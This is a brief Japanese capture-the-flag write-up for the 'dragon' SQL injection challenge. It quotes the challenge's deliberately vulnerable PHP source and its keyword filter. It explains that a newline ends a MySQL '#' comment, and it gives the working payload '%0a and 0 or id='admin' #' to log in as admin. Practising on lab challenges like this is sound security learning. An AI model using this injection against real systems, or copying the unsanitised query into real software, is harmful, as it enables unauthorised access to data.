include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("dragon"); highlight_file(__FILE__);
特徴は以下。
- pwを入力する。以下フィルターがある
prob,_,.,()
は使えない
- adminを返す必要がある
- 微妙な所に#でコメントされている
こんなん無理では?
改行を使う
なるほどーーーーー
select * from Users # comment1 where name = 'admin'; # comment2
こんな感じに改行を含んでコメントもある場合は、コメントはその行末まで有効となる。
逆に言うと、改行を行えばコメントは一旦切れることになる。
なので、
%0a and 0 or id='admin' #
とすれば前半はfalseとなり、idがadminのものだけ抜き取れる。